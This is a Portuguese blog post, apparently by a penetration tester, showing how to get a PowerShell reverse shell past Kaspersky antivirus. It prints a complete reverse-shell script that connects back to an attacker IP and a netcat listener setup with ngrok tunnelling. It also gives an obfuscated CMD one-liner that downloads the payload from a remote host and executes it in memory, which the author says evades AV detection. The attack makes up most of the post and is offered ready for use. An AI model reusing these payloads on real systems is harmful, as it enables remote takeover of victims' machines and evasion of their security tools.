sábado, 19 de janeiro de 2019

Reverse Shell Powershell - Bypassa AV (Kaspersky)

Quando falamos de powershell, existe diversas ferramentas criadas que automatizam a geração de payloads. Entretanto, as vezes é mais divertido da forma simples e não trivial.

Mostrarei um teste simples de um rever shell simples de fora da rede, isso porque tive que testar em um cliente um black box onde tinha uma máquina "pelada" cheia de GPO, onde tinha que conseguir ownar a rede e sair com ela para fora..

Enfim, demonstrarei apenas uma fragmento desse teste onde esse teste era consegue reverse shell para fora da rede.

Para isso usei um script em Powershell:

https://gist.github.com/staaldraad/a4e7095db8a84061c0ec

$socket = new-object System.Net.Sockets.TcpClient('192.168.246.152', 443);if($socket -eq $null){exit 1}$stream = $socket.GetStream();$writer = new-object System.IO.StreamWriter($stream);$buffer = new-object System.Byte[] 1024;$encoding = new-object System.Text.AsciiEncoding;do{$writer.Write("> ");$writer.Flush();$read = $null;while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");if(!$out.equals("exit")){$out = $out.split(' ');$res = [string](&$out[0] $out[1..$out.length]);if($res -ne $null){ $writer.WriteLine($res)}}}While (!$out.equals("exit"))$writer.close();$socket.close();

Com nosso payload acima eu hospedei uma máquina em casa (pq sou pobre e nao quis pagar 5 doletas na ocean digital) com serviço do ngrok que logo falarei..

https://ngrok.com/

O ngrok possibilita fazer redirecionamento TCP e HTTP, dessa forma é fácil usar ele para fazer revershell shell sem precisar de uma VPS ou fazer foward nas portas do roteador.

Com ele instalado (crie uma conta free e valide a chave), subimos o serviço do ngrok com uma aporta TCP.

# ./ngrok tcp 443


Agora subimos o payload acima num host para internet ou pode usar até mesmo ngrok com apache para poder fazer chamada no payload, o importante é externa publicado para fora pois ele será chamado remotamente para máquina (HTTP) e será executado localmente.

Deixamos a nossa máquina em listening:
# nc -vlp 443
 

Esse payload criado coloquei ele no seguinte endereço: http://site.com/images/arq


Agora no terminal (CMD) da vítima executamos o seguinte comando:

cd %SystemRoot%\System32 && echo Iex("Iex`(nEW-OBjE`Ct NEt.w`eb`cl`I`EnT).do`wN`LOAdsTRin`g`('http://192.168.246.161/images/arq`'`)"); | WindowsPowerShell\v1.0\powershell.exe -nop -win 1 -

Feito isso temos nossa conexão reversa :)
 

 Entendendo pouquinho do comando: quando executado no CMD ele faz o download do payload e executa via powershell (isso fica tudo em memória então o AV não detecta porque geralmente só pegam em disco).

PS: Se criar uma .bat/exe também rodará.







Nenhum comentário:

Postar um comentário